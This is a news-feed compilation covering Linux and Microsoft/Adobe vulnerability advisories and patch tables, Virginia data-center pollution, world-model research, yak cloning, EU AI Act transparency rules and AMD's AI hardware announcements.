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CVE-2026-64506 | Linux Kernel up to 7.1.3 rtw89 state issue (EUVD-2026-48850)

Sun, 26 Jul 2026 06:36:16 +0200

A vulnerability, which was classified as critical, was found in Linux Kernel up to 7.1.3. Affected is an unknown function of the component rtw89. Such manipulation leads to state issue. This vulnerability is traded as CVE-2026-64506. The attack may be launched remotely. There is no exploit available. You should upgrade the affected component.

CVE-2026-64501 | Linux Kernel up to 6.18.38/7.1.3 iio adc ad_sigma_delta state issue (EUVD-2026-48845)

Sun, 26 Jul 2026 06:36:15 +0200

A vulnerability marked as very critical has been reported in Linux Kernel up to 6.18.38/7.1.3. Affected by this vulnerability is the function ad_sigma_delta_single_conversion/ad_sd_buffer_postenable of the component iio adc ad_sigma_delta. This manipulation causes state issue. This vulnerability is tracked as CVE-2026-64501. The attack is possible to be carried out remotely. No exploit exists. It is suggested to upgrade the affected component.

Did Virginia Regulators Downplay Data Center Health Concerns?

Sun, 26 Jul 2026 06:31:16 +0200

Politico reports that in the Virginia area alone there's dozens of data center projects "that altogether need 70 gigawatts of power — equivalent to 70 nuclear plants" — currently seeking connection to their grid. But there's also concerns about a Virginia data center powered with natural gas and backup diesel generators: When Virginia's top environmental regulator received an analysis warning of data center pollution, it took him less than five minutes to forward it to seven people on his staff... Internal emails obtained by POLITICO through a public records request paint a portrait of an agency that moved quickly to defend the only data center in Virginia that is powering itself — in what former officials and environmental health advocates described as an unusual effort to shape the debate around an industry whose global epicenter is in the state. The agency's pushback focused on the report's findings that the facility in Loudoun County could release harmful amounts of air pollution through eight bus-sized natural gas turbines — as allowed by permits granted by the Department of Environmental Quality [DEQ] itself... The request comes as data centers are devising new ways to produce their own power as a way to temper growing public discord over rising electricity prices amid the AI construction boom. Virginia has more than 600 data centers. The report [commissioned by Virginia's 54-year-old environmental nonprofit Piedmont Environmental Council] raised concerns that the data center's on-site power system, which also includes dozens of backup diesel generators, could cause tens of millions of dollars in health damages to people living around the facility, owned by Vantage Data Centers... [The analysis also argued the pollution could lead to 3.4 to 6.5 premature deaths annually.] People living near the Vantage facility in Sterling say its natural gas turbines produce constant noise and air pollution. The permits for Vantage issued by DEQ in 2023 allow cumulative emissions of seven different pollutants, including 95 tons per year of nitrogen oxides and more than 56 tons of soot. Both contribute to asthma and heart attacks. Those figures are in line with other state permits for minor sources of pollution, but DEQ's permits for Vantage have sparked local concerns because of the facility's location in a residential area... [Viriginia environmental quality officials] raised questions about whether the report wrongly described the facility's potential air pollution as dangerous, when soot levels in Loudoun County are deemed acceptable by America's Environmental Protection Agency (EPA). Health experts, including former EPA air quality official Michael Korber, told POLITICO that soot pollution can negatively affect human health even at EPA-approved levels. The World Health Organization's standard for ambient soot pollution is nearly half of what EPA suggests is safe. Some current and former staffers on Virginia's Department of Environmental Quality believe it's inappropriate for the agency to issue aggressive statements on the healthfulness of the data centers, with one former department leader saying Virginia's DEQ "is not the health department."

Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published

Sat, 25 Jul 2026 21:26:30 +0200

A small group of AI researchers (Reactor) have released Open Dreamer, an open implementation of the Dreamer 4 world-model pipeline written in JAX and Flax NNX. What actually shipped Two repositories were released. next-state/open-dreamer holds the training pipeline: a causal video tokenizer, an action-conditioned latent dynamics model, rollout generation, and FVD scoring. reactor-team/open-dreamer holds a […]

The post Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published appeared first on MarkTechPost.

China is Creating a Herd of 100 Elite Yak Clones

Sat, 25 Jul 2026 20:01:07 +0200

CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors." Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... [S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." "History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed." The article points out that the number of wild yaks "dropped more than a third in the last 30 years, with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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The OpenAI Models That Hacked Hugging Face Were ‘Active on the Internet’ for Days

Sat, 25 Jul 2026 19:49:56 +0200

Plus: Russian hackers are trying to steal US nuclear scientists’ emails, the State Department bans known scammers from entering the United States, and more.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
